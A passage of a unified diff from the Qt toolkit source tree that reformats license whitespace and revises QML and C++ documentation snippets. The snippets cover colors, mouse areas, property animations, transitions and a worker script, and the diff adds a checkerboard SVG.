 distribute such modifications or work under the terms of Section 1
@@ -257,7 +257,7 @@ instead of to this License.  (If a newer version than version 2 of the
 ordinary GNU General Public License has appeared, then you can specify
 that version instead if you wish.)  Do not make any other change in
 these notices.
-
+
   Once this change is made in a given copy, it is irreversible for
 that copy, so the ordinary GNU General Public License applies to all
 subsequent copies and derivative works made from that copy.
@@ -308,7 +308,7 @@ Library will still fall under Section 6.)
 distribute the object code for the work under the terms of Section 6.
 Any executables containing that work also fall under Section 6,
 whether or not they are linked directly with the Library itself.
-
+
   6. As an exception to the Sections above, you may also combine or
 link a "work that uses the Library" with the Library to produce a
 work containing portions of the Library, and distribute that work
@@ -370,7 +370,7 @@ restrictions of other proprietary libraries that do not normally
 accompany the operating system.  Such a contradiction means you cannot
 use both them and the Library together in an executable that you
 distribute.
-
+
   7. You may place library facilities that are a work based on the
 Library side-by-side in a single library together with other library
 facilities not covered by this License, and distribute such a combined
@@ -388,7 +388,7 @@ permitted, and provided that you do these two things:
     where to find the accompanying uncombined form of the same work.
 
   8. You may not copy, modify, sublicense, link with, or distribute
-the Library except as expressly provided under this License.  Any
+0the Library except as expressly provided under this License.  Any
 attempt otherwise to copy, modify, sublicense, link with, or
 distribute the Library is void, and will automatically terminate your
 rights under this License.  However, parties who have received copies,
@@ -411,7 +411,7 @@ subject to these terms and conditions.  You may not impose any further
 restrictions on the recipients' exercise of the rights granted herein.
 You are not responsible for enforcing compliance by third parties with
 this License.
-
+
   11. If, as a consequence of a court judgment or allegation of patent
 infringement or for any other reason (not limited to patent issues),
 conditions are imposed on you (whether by court order, agreement or
@@ -463,7 +463,7 @@ conditions either of that version or of any later version published by
 the Free Software Foundation.  If the Library does not specify a
 license version number, you may choose any version ever published by
 the Free Software Foundation.
-
+
   14. If you wish to incorporate parts of the Library into other free
 programs whose distribution conditions are incompatible with these,
 write to the author to ask for permission.  For software which is
@@ -497,7 +497,7 @@ SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
 DAMAGES.
 
 		     END OF TERMS AND CONDITIONS
-
+
            How to Apply These Terms to Your New Libraries
 
   If you develop a new library, and you want it to be of the greatest
diff --git a/doc/src/snippets/code/doc_src_stylesheet.qdoc b/doc/src/snippets/code/doc_src_stylesheet.qdoc
index 49e2581..9b8a3b5 100644
--- a/doc/src/snippets/code/doc_src_stylesheet.qdoc
+++ b/doc/src/snippets/code/doc_src_stylesheet.qdoc
@@ -213,7 +213,7 @@ namespace ns {
 }
 
 // ...
-qApp->setSytleSheet("ns--MyPushButton { background: yellow; }");
+qApp->setStyleSheet("ns--MyPushButton { background: yellow; }");
 //! [27]
 
 
diff --git a/doc/src/snippets/code/src_corelib_concurrent_qtconcurrentrun.cpp b/doc/src/snippets/code/src_corelib_concurrent_qtconcurrentrun.cpp
index 2494eb2..11f5163 100644
--- a/doc/src/snippets/code/src_corelib_concurrent_qtconcurrentrun.cpp
+++ b/doc/src/snippets/code/src_corelib_concurrent_qtconcurrentrun.cpp
@@ -75,7 +75,7 @@ QString result = future.result();
 
 //! [4]
 // call 'QList<QByteArray>  QByteArray::split(char sep) const' in a separate thread
-QByteArray bytearray = "hello world;
+QByteArray bytearray = "hello world";
 QFuture<QList<QByteArray> > future = QtConcurrent::run(bytearray, &QByteArray::split), ',');
 ...
 QList<QByteArray> result = future.result();
diff --git a/doc/src/snippets/declarative/application.qml b/doc/src/snippets/declarative/application.qml
new file mode 100644
index 0000000..06f83f2
--- /dev/null
+++ b/doc/src/snippets/declarative/application.qml
@@ -0,0 +1,53 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+**   * Redistributions of source code must retain the above copyright
+**     notice, this list of conditions and the following disclaimer.
+**   * Redistributions in binary form must reproduce the above copyright
+**     notice, this list of conditions and the following disclaimer in
+**     the documentation and/or other materials provided with the
+**     distribution.
+**   * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+**     the names of its contributors may be used to endorse or promote
+**     products derived from this software without specific prior written
+**     permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.1
+
+Rectangle {
+    width: 300; height: 55
+    color: Qt.application.active ? "white" : "lightgray"
+    Text {
+        text: "Application " + (Qt.application.active ? "active" : "inactive")
+        opacity: Qt.application.active ? 1.0 : 0.5
+        anchors.centerIn: parent
+    }
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/colors.qml b/doc/src/snippets/declarative/colors.qml
new file mode 100644
index 0000000..c670eca
--- /dev/null
+++ b/doc/src/snippets/declarative/colors.qml
@@ -0,0 +1,125 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+**   * Redistributions of source code must retain the above copyright
+**     notice, this list of conditions and the following disclaimer.
+**   * Redistributions in binary form must reproduce the above copyright
+**     notice, this list of conditions and the following disclaimer in
+**     the documentation and/or other materials provided with the
+**     distribution.
+**   * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+**     the names of its contributors may be used to endorse or promote
+**     products derived from this software without specific prior written
+**     permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+    width: 160; height: 250
+    
+    Image {
+        width: 160; height: 200
+        source: "pics/checker.svg"
+        fillMode: Image.Tile
+
+        //! [colors]
+        Rectangle {
+            color: "steelblue"
+            width: 40; height: 40
+        }
+        Rectangle {
+            color: "transparent"
+            y: 40; width: 40; height: 40
+        }
+        Rectangle {
+            color: "#FF0000"
+            y: 80; width: 40; height: 40
+        }
+        Rectangle {
+            color: "#800000FF"
+            y: 120; width: 40; height: 40
+        }
+        Rectangle {
+            color: "#00000000"    // ARGB fully transparent
+            y: 160
+            width: 40; height: 40
+        }
+        //! [colors]
+
+        Rectangle {
+            x: 40
+            width: 120; height: 200
+
+            Text {
+                font.pixelSize: 16
+                text: "steelblue"
+                x: 10; height: 40
+                verticalAlignment: Text.AlignVCenter
+            }
+            Text {
+                font.pixelSize: 16
+                text: "transparent"
+                x: 10; y: 40; height: 40
+                verticalAlignment: Text.AlignVCenter
+            }
+            Text {
+                font.pixelSize: 16
+                text: "FF0000"
+                x: 10; y: 80; height: 40
+                verticalAlignment: Text.AlignVCenter
+            }
+            Text {
+                font.pixelSize: 16
+                text: "800000FF"
+                x: 10; y: 120; height: 40
+                verticalAlignment: Text.AlignVCenter
+            }
+            Text {
+                font.pixelSize: 16
+                text: "00000000"
+                x: 10; y: 160; height: 40
+                verticalAlignment: Text.AlignVCenter
+            }
+        }
+    }
+
+    Image {
+        y: 210
+        width: 40; height: 40
+        source: "pics/checker.svg"
+        fillMode: Image.Tile
+    }
+
+    Text {
+        font.pixelSize: 16
+        text: "(background)"
+        x: 50; y: 210; height: 40
+        verticalAlignment: Text.AlignVCenter
+    }
+}
diff --git a/doc/src/snippets/declarative/componentCreation.js b/doc/src/snippets/declarative/componentCreation.js
index c29a1f9..cf59777 100644
--- a/doc/src/snippets/declarative/componentCreation.js
+++ b/doc/src/snippets/declarative/componentCreation.js
@@ -17,15 +17,11 @@ function createSpriteObjects() {
 
 //![local]
     component = Qt.createComponent("Sprite.qml");
-    sprite = component.createObject(appWindow);
+    sprite = component.createObject(appWindow, {"x": 100, "y": 100});
 
     if (sprite == null) {
         // Error Handling
         console.log("Error creating object");
-    } else {
-        sprite.x = 100;
-        sprite.y = 100;
-        // ...
     }
 //![local]
 
diff --git a/doc/src/snippets/declarative/focus/focusColumn.qml b/doc/src/snippets/declarative/focus/focusColumn.qml
index e6a6fcf..42ee3da 100644
--- a/doc/src/snippets/declarative/focus/focusColumn.qml
+++ b/doc/src/snippets/declarative/focus/focusColumn.qml
@@ -1,6 +1,6 @@
 /****************************************************************************
 **
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
 ** All rights reserved.
 ** Contact: Nokia Corporation (qt-info@nokia.com)
 **
diff --git a/doc/src/snippets/declarative/folderlistmodel.qml b/doc/src/snippets/declarative/folderlistmodel.qml
index 3bddefb..8aeb72c 100644
--- a/doc/src/snippets/declarative/folderlistmodel.qml
+++ b/doc/src/snippets/declarative/folderlistmodel.qml
@@ -43,15 +43,19 @@ import QtQuick 1.0
 import Qt.labs.folderlistmodel 1.0
 
 ListView {
+    width: 200; height: 400
+
     FolderListModel {
-        id: foldermodel
+        id: folderModel
         nameFilters: ["*.qml"]
     }
+
     Component {
-        id: filedelegate
+        id: fileDelegate
         Text { text: fileName }
     }
-    model: foldermodel
-    delegate: filedelegate
+
+    model: folderModel
+    delegate: fileDelegate
 }
 //![0]
diff --git a/doc/src/snippets/declarative/mousearea/mousearea.qml b/doc/src/snippets/declarative/mousearea/mousearea.qml
index e3cbebb..18ea971 100644
--- a/doc/src/snippets/declarative/mousearea/mousearea.qml
+++ b/doc/src/snippets/declarative/mousearea/mousearea.qml
@@ -46,74 +46,72 @@ Rectangle {
     width: childrenRect.width
     height: childrenRect.height
 
-Row {
+    Row {
+        //! [intro]
+        Rectangle {
+            width: 100; height: 100
+            color: "green"
 
-//! [intro]
-Rectangle { 
-    width: 100; height: 100
-    color: "green"
-
-    MouseArea { 
-        anchors.fill: parent
-        onClicked: { parent.color = 'red' }
-    }
-}
-//! [intro]
+            MouseArea {
+                anchors.fill: parent
+                onClicked: { parent.color = 'red' }
+            }
+        }
+        //! [intro]
 
-//! [intro-extended]
-Rectangle {
-    width: 100; height: 100
-    color: "green"
+        //! [intro-extended]
+        Rectangle {
+            width: 100; height: 100
+            color: "green"
 
-    MouseArea {
-        anchors.fill: parent
-        acceptedButtons: Qt.LeftButton | Qt.RightButton
-        onClicked: {
-            if (mouse.button == Qt.RightButton)
-                parent.color = 'blue';
-            else
-                parent.color = 'red';
+            MouseArea {
+                anchors.fill: parent
+                acceptedButtons: Qt.LeftButton | Qt.RightButton
+                onClicked: {
+                    if (mouse.button == Qt.RightButton)
+                        parent.color = 'blue';
+                    else
+                        parent.color = 'red';
+                }
+            }
         }
-    }
-}
-//! [intro-extended]
+        //! [intro-extended]
 
-//! [drag]
-Rectangle {
-    id: container
-    width: 600; height: 200
+        //! [drag]
+        Rectangle {
+            id: container
+            width: 600; height: 200
 
-    Rectangle {
-        id: rect
-        width: 50; height: 50
-        color: "red"
-        opacity: (600.0 - rect.x) / 600
+            Rectangle {
+                id: rect
+                width: 50; height: 50
+                color: "red"
+                opacity: (600.0 - rect.x) / 600
 
-        MouseArea {
-            anchors.fill: parent
-            drag.target: rect
-            drag.axis: Drag.XAxis
-            drag.minimumX: 0
-            drag.maximumX: container.width - rect.width
+                MouseArea {
+                    anchors.fill: parent
+                    drag.target: rect
+                    drag.axis: Drag.XAxis
+                    drag.minimumX: 0
+                    drag.maximumX: container.width - rect.width
+                }
+            }
         }
-    }
-}
-//! [drag]
+        //! [drag]
 
-//! [mousebuttons]
-Text {
-    text: mouseArea.pressedButtons & Qt.RightButton ? "right" : ""
-    horizontalAlignment: Text.AlignHCenter
-    verticalAlignment: Text.AlignVCenter
-
-    MouseArea {
-        id: mouseArea
-        anchors.fill: parent
-        acceptedButtons: Qt.LeftButton | Qt.RightButton
-    }
-}
-//! [mousebuttons]
+        //! [mousebuttons]
+        Text {
+            text: mouseArea.pressedButtons & Qt.RightButton ? "right" : ""
+            horizontalAlignment: Text.AlignHCenter
+            verticalAlignment: Text.AlignVCenter
 
-}
+            MouseArea {
+                id: mouseArea
+                anchors.fill: parent
+                acceptedButtons: Qt.LeftButton | Qt.RightButton
+            }
+        }
+        //! [mousebuttons]
 
+    }
 }
diff --git a/doc/src/snippets/declarative/pics/checker.svg b/doc/src/snippets/declarative/pics/checker.svg
new file mode 100644
index 0000000..374d89d
--- /dev/null
+++ b/doc/src/snippets/declarative/pics/checker.svg
@@ -0,0 +1,17 @@
+<?xml version="1.0" standalone="no"?>
+<svg width="10px" height="10px" viewBox="0 0 10px 10px"
+    xmlns="http://www.w3.org/2000/svg"
+    xmlns:xlink="http://www.w3.org/1999/xlink/"
+    baseProfile="tiny" version="1.2">
+  <title>Checker</title>
+  <desc>A checkerboard pattern to use as a background.</desc>
+  <g fill="#e0e0e0" stroke="none" >
+    <rect x="0" y="0" width="10px" height="10px" />
+  </g>
+  <g fill="#404040" stroke="none" >
+    <rect x="0" y="0" width="5px" height="5px" />
+  </g>
+  <g fill="#404040" stroke="none" >
+    <rect x="5px" y="5px" width="5px" height="5px" />
+  </g>
+</svg>
diff --git a/doc/src/snippets/declarative/propertyaction-sequential.qml b/doc/src/snippets/declarative/propertyaction-sequential.qml
new file mode 100644
index 0000000..a60b1f4
--- /dev/null
+++ b/doc/src/snippets/declarative/propertyaction-sequential.qml
@@ -0,0 +1,72 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+**   * Redistributions of source code must retain the above copyright
+**     notice, this list of conditions and the following disclaimer.
+**   * Redistributions in binary form must reproduce the above copyright
+**     notice, this list of conditions and the following disclaimer in
+**     the documentation and/or other materials provided with the
+**     distribution.
+**   * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+**     the names of its contributors may be used to endorse or promote
+**     products derived from this software without specific prior written
+**     permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+Row {
+
+    Item {
+        width: 400; height: 400
+
+        Rectangle {
+            id: rect
+            width: 200; height: 100
+            color: "red"
+
+            states: State {
+                name: "rotated"
+                PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight }
+            }
+
+            //! [sequential]
+            transitions: Transition {
+                SequentialAnimation {
+                    PropertyAction { target: rect; property: "transformOrigin" }
+                    RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise }
+                }
+            }
+            //! [sequential]
+
+            MouseArea {
+                anchors.fill: parent
+                onClicked: rect.state = "rotated"
+            }
+        }
+    }
+}
diff --git a/doc/src/snippets/declarative/propertyaction.qml b/doc/src/snippets/declarative/propertyaction.qml
index dd21d14..f5ae798 100644
--- a/doc/src/snippets/declarative/propertyaction.qml
+++ b/doc/src/snippets/declarative/propertyaction.qml
@@ -41,45 +41,43 @@ import QtQuick 1.0
 
 Row {
 
-//![transition]
-Item {
-    width: 400; height: 400
+    //![transition]
+    Item {
+        width: 400; height: 400
 
-    Rectangle {
-        id: rect
-        width: 200; height: 100
-        color: "red"
+        Rectangle {
+            id: rect
+            width: 200; height: 100
+            color: "red"
 
-        states: State {
-            name: "rotated"
-            PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight }
-        }
+            states: State {
+                name: "rotated"
+                PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight }
+            }
 
-        transitions: Transition {
-            RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise }
-        }
+            transitions: Transition {
+                RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise }
+            }
 
-        MouseArea {
-            anchors.fill: parent
-            onClicked: rect.state = "rotated"
+            MouseArea {
+                anchors.fill: parent
+                onClicked: rect.state = "rotated"
+            }
         }
     }
-}
-//![transition]
+    //![transition]
 
-Item {
-    width: 300; height: 300
+    Item {
+        width: 300; height: 300
 
-    Image { id: img; source: "pics/qt.png" }
-
-//![standalone]
-SequentialAnimation {
-    PropertyAction { target: img; property: "smooth"; value: "true" }
-    NumberAnimation { target: img; property: "width"; to: 300; duration: 1000 }
-    PropertyAction { target: img; property: "smooth"; value: "false" }
-}
-//![standalone]
-}
+        Image { id: img; source: "pics/qt.png" }
 
+        //![standalone]
+        SequentialAnimation {
+            PropertyAction { target: img; property: "smooth"; value: "true" }
+            NumberAnimation { target: img; property: "width"; to: 300; duration: 1000 }
+            PropertyAction { target: img; property: "smooth"; value: "false" }
+        }
+        //![standalone]
+    }
 }
-
diff --git a/doc/src/snippets/declarative/propertyanimation.qml b/doc/src/snippets/declarative/propertyanimation.qml
index d0a009a..711feec 100644
--- a/doc/src/snippets/declarative/propertyanimation.qml
+++ b/doc/src/snippets/declarative/propertyanimation.qml
@@ -48,10 +48,12 @@ Rectangle {
     width: 100; height: 100
     color: "red"
 
+    //! [single state]
     states: State {
         name: "moved"
         PropertyChanges { target: rect; x: 50 }
     }
+    //! [single state]
 
     transitions: Transition { 
         PropertyAnimation { properties: "x,y"; easing.type: Easing.InOutQuad } 
@@ -83,18 +85,16 @@ Rectangle {
 }
 //![propertyvaluesource]
 
-//![standalone]
-Rectangle {
-    id: theRect
-    width: 100; height: 100
-    color: "red"
-
-    // this is a standalone animation, it's not running by default
-    PropertyAnimation { id: animation; target: theRect; property: "width"; to: 30; duration: 500 }
-
-    MouseArea { anchors.fill: parent; onClicked: animation.running = true }
-}
-//![standalone]
+    //![standalone]
+    Rectangle {
+        id: theRect
+        width: 100; height: 100
+        color: "red"
 
+        // this is a standalone animation, it's not running by default
+        PropertyAnimation { id: animation; target: theRect; property: "width"; to: 30; duration: 500 }
 
+        MouseArea { anchors.fill: parent; onClicked: animation.running = true }
+    }
+    //![standalone]
 }
diff --git a/doc/src/snippets/declarative/script.js b/doc/src/snippets/declarative/script.js
index cd67311..f55dee3 100644
--- a/doc/src/snippets/declarative/script.js
+++ b/doc/src/snippets/declarative/script.js
@@ -1 +1,4 @@
-# Just here so that workerscript.qml succeeds.
+WorkerScript.onMessage = function(message) {
+    // ... long-running operations and calculations are done here
+    WorkerScript.sendMessage({ 'reply': 'Mouse is at ' + message.x + ',' + message.y })
+}
diff --git a/doc/src/snippets/declarative/states/statechangescript.qml b/doc/src/snippets/declarative/states/statechangescript.qml
new file mode 100644
index 0000000..b885137
--- /dev/null
+++ b/doc/src/snippets/declarative/states/statechangescript.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+**   * Redistributions of source code must retain the above copyright
+**     notice, this list of conditions and the following disclaimer.
+**   * Redistributions in binary form must reproduce the above copyright
+**     notice, this list of conditions and the following disclaimer in
+**     the documentation and/or other materials provided with the
+**     distribution.
+**   * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+**     the names of its contributors may be used to endorse or promote
+**     products derived from this software without specific prior written
+**     permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+Item {
+//! [state and transition]
+State {
+    name: "state1"
+    StateChangeScript {
+        name: "myScript"
+        script: doStateStuff();
+    }
+    // ...
+}
+// ...
+Transition {
+    to: "state1"
+    SequentialAnimation {
+        NumberAnimation { /* ... */ }
+        ScriptAction { scriptName: "myScript" }
+        NumberAnimation { /* ... */ }
+    }
+}
+//! [state and transition]
+}
diff --git a/doc/src/snippets/declarative/transition-from-to-modified.qml b/doc/src/snippets/declarative/transition-from-to-modified.qml
new file mode 100644
index 0000000..1e2ebca
--- /dev/null
+++ b/doc/src/snippets/declarative/transition-from-to-modified.qml
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+**   * Redistributions of source code must retain the above copyright
+**     notice, this list of conditions and the following disclaimer.
+**   * Redistributions in binary form must reproduce the above copyright
+**     notice, this list of conditions and the following disclaimer in
+**     the documentation and/or other materials provided with the
+**     distribution.
+**   * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+**     the names of its contributors may be used to endorse or promote
+**     products derived from this software without specific prior written
+**     permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+Rectangle {
+    id: rect
+    width: 100; height: 100
+    color: "red"
+
+    MouseArea { id: mouseArea; anchors.fill: parent }
+
+    states: State {
+        name: "brighter"; when: mouseArea.pressed
+        PropertyChanges { target: rect; color: "yellow" }
+    }
+
+    //! [modified transition]
+    transitions: Transition {
+        to: "brighter"
+        ColorAnimation { duration: 1000 }
+    }
+    //! [modified transition]
+}
diff --git a/doc/src/snippets/declarative/transition-from-to.qml b/doc/src/snippets/declarative/transition-from-to.qml
index 5fde653..ba07518 100644
--- a/doc/src/snippets/declarative/transition-from-to.qml
+++ b/doc/src/snippets/declarative/transition-from-to.qml
@@ -57,5 +57,3 @@ Rectangle {
     }
 }
 //![0]
-
-
diff --git a/doc/src/snippets/declarative/transition-reversible.qml b/doc/src/snippets/declarative/transition-reversible.qml
index c67fd80..6a6ef23 100644
--- a/doc/src/snippets/declarative/transition-reversible.qml
+++ b/doc/src/snippets/declarative/transition-reversible.qml
@@ -53,12 +53,14 @@ Rectangle {
         PropertyChanges { target: rect; color: "yellow"; x: 50 }
     }
 
+    //! [sequential animations]
     transitions: Transition { 
         SequentialAnimation {
             PropertyAnimation { property: "x"; duration: 1000 }
             ColorAnimation { duration: 1000 }
         }
     }
+    //! [sequential animations]
 }
 //![0]
 
diff --git a/doc/src/snippets/declarative/transitions-list.qml b/doc/src/snippets/declarative/transitions-list.qml
new file mode 100644
index 0000000..cd413cc
--- /dev/null
+++ b/doc/src/snippets/declarative/transitions-list.qml
@@ -0,0 +1,89 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+**   * Redistributions of source code must retain the above copyright
+**     notice, this list of conditions and the following disclaimer.
+**   * Redistributions in binary form must reproduce the above copyright
+**     notice, this list of conditions and the following disclaimer in
+**     the documentation and/or other materials provided with the
+**     distribution.
+**   * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+**     the names of its contributors may be used to endorse or promote
+**     products derived from this software without specific prior written
+**     permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
